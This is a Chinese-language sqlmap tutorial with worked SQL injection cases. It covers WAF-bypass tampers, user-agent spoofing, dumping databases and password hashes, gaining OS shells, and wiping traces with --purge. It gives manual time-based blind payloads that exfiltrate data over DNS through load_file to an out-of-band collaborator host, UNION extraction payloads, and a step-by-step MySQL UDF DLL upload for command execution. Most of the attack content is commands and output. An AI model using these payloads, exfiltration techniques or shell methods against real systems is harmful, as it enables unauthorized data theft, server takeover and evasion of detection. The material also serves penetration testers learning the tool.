- 简介
- 参数讲解
- 常用参数 - tamper详解
- 常用参数 - 强制ssl
- 常用参数 - 加快速度 - 指定最大并发requests数量
- 常用参数 - 加快速度 - 指定数据库类型
- 常用参数 - 加快速度 - 指定注入类型
- 常用参数 - 加快速度 - 指定盲注时测试哪些字符
- 常用参数 - 降低速度 - delay
- 常用参数 - 设置proxy代理流量
- 常用参数 - 设置user-agent避免指纹
- 常用参数 - 读取HTTP request文本
- 常用参数 - 爬取
- 常用参数 - 用*标记注入点
- 常用参数 - 删除session文件
- 常用参数 - payload前缀与后缀
- 常用参数 - 基本信息获取
- 参数 - 交互式sql语句执行
- 参数 - OS命令执行
- 参数 - 痕迹清理
- 案例1 - MySQL - 基于时间的盲注 要用DNS才能快速获取数据
- 案例2 MySQL - UNION query
- 利用MySQL数据库的UDF函数执行系统命令
- Usage
| 名称 | 描述 |
|---|---|
| sqlmap | Automatic SQL injection and database takeover tool |
- 资料
- Usage · sqlmapproject/sqlmap Wiki
- sqlmap相关代码实现参考的白皮书(2009年) Blackhat-europe-09-Damele-SQLInjection-whitepaper.pdf
tampers是sqlmap自带的绕过WAF的脚本，可查看所有tampers:
python sqlmap.py --list-tampers
2019.2.15 我更新并总结了 tamper脚本分类汇总 sqlmap_tamper.csv
可根据 被拦截原因 数据库类型 等. 选择合适的tamper(或自写脚本)实现绕过WAF.
强制使用ssl协议 --force-ssl
适用场景:
待测网站通常是https协议,但可能被sqlmap识别为http协议并出现报错 404[CRITICAL] page not found (404)
另一种不太通用的办法:手工修改请求 把Host头最后加上
:443可被sqlmap识别为ssl协议,这种办法一般可行但有局限性. 实测中有8443端口的SSL端口，如果在Host头最后加上:8443，仍然会被sqlmap当作HTTP协议的端口
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
设置最大并发请求数量. 默认为1
使用并发请求适用于多数情况. 利用"基于时间的注入"获取数据时依然不会使用并发请求.
指定数据库类型
--dbms Oracle
--dbms MySQL
--dbms "Microsoft Access"
--tech U
--technique T
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
--charset="0123456789abcdef"
适用类型: boolean-based blind SQL injection 或 time-based blind SQL injection
描述:在基于布尔的盲SQL注入,或基于时间的盲SQL注入中,用户可以强制使用自定义字符集来加速数据获取过程.
例如,如果dump的数据是"信息摘要"(message digest) MD5,SHA1等,使用--charset="0123456789abcdef"的请求数量 仅为正常运行时请求数量的70%
设置每两次HTTP(S)request之间的时间间隔. 以秒为单位. float类型.
--delay 0.5
默认为0
格式为：(http|https|socks4|socks5)://address:port
如
--proxy=socks5://127.0.0.1:1080
指定user-agent (随机UA)
--random-agent
指定user-agent (移动设备UA)
--mobile
which smartphone do you want sqlmap to imitate through HTTP User-Agent header?
[1] Apple iPhone 8 (default)
[2] BlackBerry Z10
[3] Google Nexus 7
[4] Google Pixel
[5] HP iPAQ 6365
[6] HTC 10
[7] Huawei P8
[8] Microsoft Lumia 950
[9] Nokia N97
[10] Samsung Galaxy S7
[11] Xiaomi Mi 3
指定user-agent (任意UA)
--user-agent "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1"
sqlmap -r reqfile.txt 会自动分析该请求包（如cookie，POST数据 等），可充分测试各处，避免用命令行设置User-Agent等参数
reqfile.txt的格式：
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
--crawl=3
设置爬取深度.
req1.txt中的URL为:
http://192.168.0.1/web/
python sqlmap.py -r req1.txt --batch --crawl=3
[...]
[xx:xx:53] [INFO] starting crawler
[xx:xx:53] [INFO] searching for links with depth 1
[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while
[xx:xx:53] [INFO] searching for links with depth 2
[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'
[xx:xx:00] [INFO] 42/56 links visited (75%)
[...]
针对情况：伪静态 等sqlmap不能自动识别的格式
python sqlmap.py -u xxx.com/index.php/Index/view/id/40*.html --dbs
-r 也是在请求包文件中的参数值后面加*号
--flush-session
在一次成功获取数据后,想再次获取最新的数据,就可以用这个参数.
提示:仅会在数据文件夹中删除 这个文件夹 /xx.com/ 中的几乎所有信息,除了已经获取并保存为results-xxxx.csv的文件,它们会被重命名为results-xxxx.csv1
某个网站登录处,手工测试存在SQL注入,但sqlmap默认无法发现漏洞.
只有根据手工测试结果(见Payload),使用参数 --prefix 和 --suffix 给Payload加上前缀和后缀,才能让sqlmap发现SQL注入漏洞,便于进行自动化.
python sqlmap.py -r req1.txt --random-agent --dbms=mysql --time-sec 10 -p username -v3 --tech=T --prefix="'" --suffix="--'" --tamper=between --dbs
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin' AND (SELECT 5105 FROM (SELECT(SLEEP(10)))txIo)--'
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
# ------------
# 获取目标主机的hostname
--hostname
# ------------
# 获取当前"数据库"的名称
--current-db
# 获取当前使用的"数据库用户" 用户名
--current-user
# 判断当前"数据库用户"是否为DBA
--is-dba
# 获取全部"数据库"的名称
--dbs
# 获取几乎全部"数据库"的名称,全部表的名称,全部字段 "字段名" "字段类型". 排除"系统数据库"
--schema --exclude-sysdbs
# 获取全部"数据库用户"
--users
# 获取全部"数据库用户" 及其口令
--passwords
# 获取全部"数据库用户" 及其权限(是否为DBA)
--privileges
# 获取指定数据库内的每个表 有多少条记录
--count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table | Entries |
+----------------+---------+
| dbo.users | 4 |
| dbo.users_blob | 2 |
+----------------+---------+
# ------------
# 获取表名 - 获取指定、部分、全部"数据库"的所有表的名称
# 获取全部数据库的表
--tables
# 获取几乎全部数据库的表. 排除"系统数据库"
--tables --exclude-sysdbs
# 获取指定数据库的表
--tables -D users
# ------------
# 获取字段名 - 获取指定、部分、全部"数据库"、"表"的所有字段的名称
# 获取指定数据库(不用-D则默认当前数据库)、指定表的全部字段 "字段名" "字段类型"
--columns -D testdb -T users -C name
# ------------
# 获取数据 - 获取 指定"数据库" 的全部数据
--dump -D testdb
# 获取数据 - 获取 指定"表" 的全部数据
--dump -T users
# 获取数据 - 获取 指定"表" 的指定数据
--dump -T users -C last_ip,last_time
# 获取数据 - 获取 几乎全部数据. 排除"系统数据库"
#【请求多 耗时多】
--dump-all --exclude-sysdbs--sql-shell
前提1：数据库支持系统命令执行. 如MySQL/PostgreSQL/Microsoft SQL Server等
前提2：当前用户有权限使用特定的函数. 在sqlmap中查看权限用 --privilege
# 执行指定系统命令 --os-cmd=whoami
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "MySQL" --os-cmd=whoami
# 获得交互式shell --os-shell
sqlmap -u "http://url/news?id=1"--level=3 --smart --dbms "MySQL" --os-shell
-
获取系统shell - 通过数据库 - MySQL 实战-利用mysql数据库的udf函数执行系统命令
- 前提条件:数据库进程(DBMS process)对目标文件夹具有文件读取、写入权限.
- 实现原理:上传一个二进制文件 共享库(shared library)到对应文件夹，它包含两个用户自定义函数(user-defined functions,UDF)用户自定义函数,其中有2个函数的作用是执行系统命令. 然后在数据库使用SQL语句 创建该函数 并调用该函数 即可执行系统命令.
sys_eval()执行系统命令 返回标准输出sys_exec()执行系统命令 返回退出码
-
获取系统shell - 通过数据库 - Mcrosoft SQL Server
- 前提条件:
xp_cmdshell扩展存储过程这一配置处于开启状态，或者可以被开启 - 利用过程:使用
xp_cmdshell扩展存储过程(extended stored procedure)，它是SQL Server的一个配置项，启用时能让SQL Server账号执行操作系统命令，返回文本行- 如果
xp_cmdshell存储过程 被禁用(Microsoft SQL Server >= 2005 默认禁用)sqlmap会重新启用它 - 如果
xp_cmdshell存储过程 不存在 则从头开始创建它
- 如果
- 前提条件:
--purge
安全删除 数据文件夹$HOME/.local/share/sqlmap下所有获取到的数据.
数据文件夹 (子)目录中的所有文件将被随机数据覆盖.文件名也会随机覆盖.
python sqlmap.py --purge -v 3
[...]
[xx:xx:55] [INFO] purging content of directory '/home/testuser/.local/share/sqlmap'...
[xx:xx:55] [DEBUG] changing file attributes
[xx:xx:55] [DEBUG] writing random data to files
[xx:xx:55] [DEBUG] truncating files
[xx:xx:55] [DEBUG] renaming filenames to random values
[xx:xx:55] [DEBUG] renaming directory names to random values
[xx:xx:55] [DEBUG] deleting the whole directory tree
[...]
- 场景 - windows服务器的web应用 参数id 存在 MySQL SQLi 类型为
基于时间的盲注如何快速获取数据?- 操作系统:windows
- 数据库类型:MySQL
- SQLi类型:基于时间的盲注 (变换思路 思考其他数据外传的办法!!)
【实际测试】获取数据-自动化
# 对比这2个方法
【方法1】
# 基于时间的盲注 - 拿数据方法1: 根据延时来跑数据 (很慢!!!)
python sqlmap.py -u "http://vul.com/user.php?id=1" -p id --tech=T --dbms mysql --dbs
【方法2】
# 基于时间的盲注 - 拿数据方法2: 使用带外请求(OOB) 利用 DNS exfiltration跑数据. 很快!!!!!!!!
# 注意:
# YOUR.com 的IP为 114.1.1.1 且设置了DNS Host 也就是把所有尝试解析YOUR.com的那些DNS请求 都发送到ns1.YOUR.com的53号UDP端口
# ns1.YOUR.com 的IP为 114.1.1.1
# 在这台机器上运行以下sqlmap命令 注意参数--dns-domain 会在53端口开启一个DNS服务作为ns服务器 接收对YOUR.com的DNS请求(得到其中携带的数据)
python sqlmap.py -u "http://vul.com/user.php?id=1" -p id --dbms mysql --dbs --dns-domain=YOUR.com
[07:25:21] [INFO] testing for data retrieval through DNS channel
【实际测试】带外获取数据-手工进行的具体过程
# 手工利用第0步 🌹确认SQLi是否存在
# id参数的值为
1234' AND (SELECT 9905 FROM (SELECT(SLEEP(5)))vMZe) AND 'fACM'='fACM
# 实际HTTP请求的第1行 内容如下 其中id参数的值做了编码 JavaScript encodeURIComponent()
/user.php?id=1234'%20AND%20(SELECT%209905%20FROM%20(SELECT(SLEEP(5)))vMZe)%20AND%20'fACM'%3D'fACM HTTP/1.1
# 延时了5秒多 所以确认存在SQLi.
# Type: time-based blind
# Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
-----
# 手工利用第1步 🌹测试 攻击者的dns服务器 能否收到数据
# id参数的值为
1234'+(select load_file('\\\\easv5rqjxp4jbbk5t8vlqnn5iwoocd.burpcollaborator.net\\anq'))+'
# 实际HTTP请求的第1行 内容如下 其中id参数的值做了编码 JavaScript encodeURIComponent()
/user.php?id=1234'%2b(select%20load_file('%5c%5c%5c%5ceasv5rqjxp4jbbk5t8vlqnn5iwoocd.burpcollaborator.net%5c%5canq'))%2b' HTTP/1.1
# 测试成功 收到了DNS数据.
-----
# 手工利用第2步 🌹获取数据库的数据 如version()
# id参数的值为
1234' AND (SELECT 2026 FROM (SELECT(SLEEP(5-(IF(ORD(MID((SELECT LOAD_FILE(CONCAT(0x5c5c5c5c474c762e,(SELECT HEX(MID((IFNULL(version(),0x20)),1,31))),0x2e5471722e656173763572716a7870346a62626b357438766c716e6e3569776f6f63642e62757270636f6c6c61626f7261746f722e6e65745c5c4c6e6f74))),2,1))>563,0,5)))))Uyjo) AND 'Tbug'='Tbug
# 实际HTTP请求的第1行 内容如下 其中id参数的值做了编码 JavaScript encodeURIComponent()
/user.php?id=1234'%20AND%20(SELECT%202026%20FROM%20(SELECT(SLEEP(5-(IF(ORD(MID((SELECT%20LOAD_FILE(CONCAT(0x5c5c5c5c474c762e%2C(SELECT%20HEX(MID((IFNULL(version()%2C0x20))%2C1%2C31)))%2C0x2e5471722e656173763572716a7870346a62626b357438766c716e6e3569776f6f63642e62757270636f6c6c61626f7261746f722e6e65745c5c4c6e6f74)))%2C2%2C1))%3E563%2C0%2C5)))))Uyjo)%20AND%20'Tbug'%3D'Tbug HTTP/1.1
# 收到了DNS数据
GLv.352E352E3533.Tqr.easv5rqjxp4jbbk5t8vlqnn5iwoocd.burpcollaborator.net.
其中`352E352E3533` 就是经过hex编码的数据, 做decode即可:
Hex to ASCII
5.5.53
Hex to UTF-8
5.5.53
得知了MySQL的版本为5.5.53
- 场景 - windows服务器的web应用 参数id 存在SQLi 类型为
UNION query- 操作系统:无关
- 数据库类型:MySQL
- SQLi类型:
UNION query
【实际测试】获取数据-自动化
# 指定技术为U
python sqlmap.py -r /Users/xxx/Downloads/req.txt --proxy=socks5://127.0.0.1:1081 -p uid --dbms=mysql -p id -v 5 --tech=U --dbs【实际测试】获取数据-手工的具体过程
# 手工利用第0步 🌹确认SQLi是否存在
# id参数的值为
1234' ORDER BY 10-- mucA
# 使用二分法 根据Response长度、内容的不同 逐步确定了UNION共可查16个字段
-----
# 手工利用第1步 🌹依次测试每个字段 看哪个字段会回显到Response
# id参数的值为
1234' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71626b7171,(CASE WHEN (17=17) THEN 1 ELSE 0 END),0x716b717671),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ziys
# 观察Response body
# 发现Response body中有字符串 qbkqq1qbkqq
# 格式为 [前缀][数据][后缀]
# [前缀]和[后缀]的作用是方便匹配到获取到的[数据]
# 这里前缀和后缀都是qbkqq [数据]即
1
# 所以 第9个字段可以回显到Response
-----
# 手工利用第2步 🌹再次确认 在使用MySQL的CONCAT函数的情况下 该字段是否仍会回显到Response
# id参数的值为
1234' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162716a71,0x6151484a717561715a4f44725a75456a45,0x7162766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- CkJc
# Type: UNION query
# Title: Generic UNION query (NULL) - 16 columns
# 确认 在使用MySQL的CONCAT函数的情况下 该字段仍会回显到Response
-----
# 手工利用第3步 🌹获取数据 如获取所有数据库的名称
# id参数的值为
1234' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162716a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7162766a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- MzIj
# 观察Response body
# 发现Response body中有字符串
<td>qbqjqinformation_schemaqbvjq</td>
<td>qbqjqmysqlqbvjq</td>
<td>qbqjqperformance_schemaqbvjq</td>
# 格式为 [前缀][数据][后缀]
# [前缀]和[后缀]的作用是方便匹配到获取到的[数据]
# 这里前缀和后缀都是qbqjq [数据]即
information_schema
mysql
performance_schema
- 前提条件
- MySQL具备文件读取、写入权限
- 知道MySQL的plugin文件夹的具体位置
- 原理是？
- MySQL的UDF函数 - 上传1个二进制文件:共享库(shared library)到对应文件夹，该二进制文件之内包含2个用户自定义函数(user-defined functions,UDF)用户自定义函数,作用都是执行系统命令. 然后在数据库使用SQL语句 创建该函数, 并使用select调用该函数 即可执行系统命令!
自动过程:
--os-shell
手工过程:
🌹第1步 - 准备UDF文件
metasploit中有windows下MySQL的UDF二进制文件:
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
🌹第2步 - 传输 UDF二进制文件 的 数据 到 目标主机 的 目标文件夹 /plugin/
可以考虑用hex编码、base64编码.
MySQL实现base64编码解码 MySQL版本要求:（主要是看目标机器的mysql能否 "解码" 编码了的数据.）
MySQL >= 5.6.1
MariaDB >= 10.0.5
// mysql sql在自己pc实现编码
select to_base64(load_file('D:\\lib_mysqludf_sys_64.dll')) into outfile "D:\\udf64.txt"
// mysql sql在对方server上的mysql实现 解码!!!
select from_base64("base64的内容") into dumpfile "D:\mysql-5.6.41-winx64\lib\plugin\udf64.dll";🌹第3步 - 创建udf函数
创建2个函数:
sys_exec 该函数无法回显结果
sys_eval 可回显执行结果
create function sys_exec RETURNS int soname 'udf.dll';
create function sys_eval returns string soname 'udf.dll';
看下函数是否成功创建
mysql> select * from mysql.func where name = "sys_exec";
+----------+-----+---------+----------+
| name | ret | dl | type |
+----------+-----+---------+----------+
| sys_exec | 2 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)
🌹第4步 - 执行函数
执行sys_eval函数 该函数可回显执行结果
mysql> select sys_eval('whoami');
+------------------------+
| sys_eval('whoami') |
+------------------------+
| desktop-s2l4c24\k0rz3n |
+------------------------+
1 row in set (0.27 sec)
执行sys_exec函数 该函数无法回显结果, 会在目标主机桌面上弹出黑框并立即退出!
mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
| 0 |
+--------------------+
1 row in set (0.28 sec)
🌹第5步 - 删除2个函数的定义
drop function sys_exec;
drop function sys_eval;
➜ sqlmap git:(master) ✗ python sqlmap.py -hh
___
__H__
___ ___[)]_____ ___ ___ {1.4.6.2#dev}
|_ -| . ["] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
Usage: Python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Request:
These options can be used to specify how to connect to the target URL
-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file
Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)
Brute force:
These options can be used to run brute force checks
--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files
User-defined function injection:
These options can be used to create custom user-defined functions
--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library
File system access:
These options can be used to access the back-end database management
system underlying file system
--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory
Windows registry access:
These options can be used to access the back-end database management
system Windows registry
--reg-read Read a Windows registry key value
--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type
General:
These options can be used to set some general working parameters
-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing of response data
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")
Miscellaneous:
These options do not fit into any other category
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when SQL injection is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--list-tampers Display list of available tamper scripts
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--sqlmap-shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users